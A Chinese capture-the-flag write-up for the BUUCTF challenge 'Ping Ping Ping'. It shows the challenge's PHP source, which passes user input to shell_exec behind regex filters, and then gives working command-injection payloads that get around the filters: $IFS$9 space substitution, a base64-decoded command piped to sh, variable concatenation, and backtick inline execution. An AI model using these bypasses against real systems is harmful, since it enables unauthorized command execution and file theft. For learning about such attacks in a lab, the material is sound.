buuctf [GXYCTF2019]Ping Ping Ping

1、打开题目环境

2、 先ping一下试试，发现flag文件

3、直接cat flag，提示说不能有空格

4、用%09绕过空格，但是可能是过滤了特殊字符没有得到flag

5、试图用{IFS}绕过空格查看源码，未果，可能是过滤了花括号

6、试试用$IFS$9绕过空格，发现没有过滤$符号，得到源码，发现除了过滤一些符号外，bash也被过滤了

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

7、过滤了bash但是没有过滤sh，我们来试试sh

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64编码

得到flag

 8、再试试用字符串拼接的方法尝试进入flag文件，很奇怪为什么进不去

 

 查看资料后有解释说这串代码意为 匹配一个字符串中，是否按顺序出现过flag四个字母（还是不太理解为什么用字符串拼接的方法会被过滤）

else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");

 查了别人的wp，说是可以这么拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

另外还查到一种叫内联执行的方法：将反引号内命令的输出作为输入执行，查看源码后也能得到flag

?ip=127.0.0.1;cat$IFS$1`ls`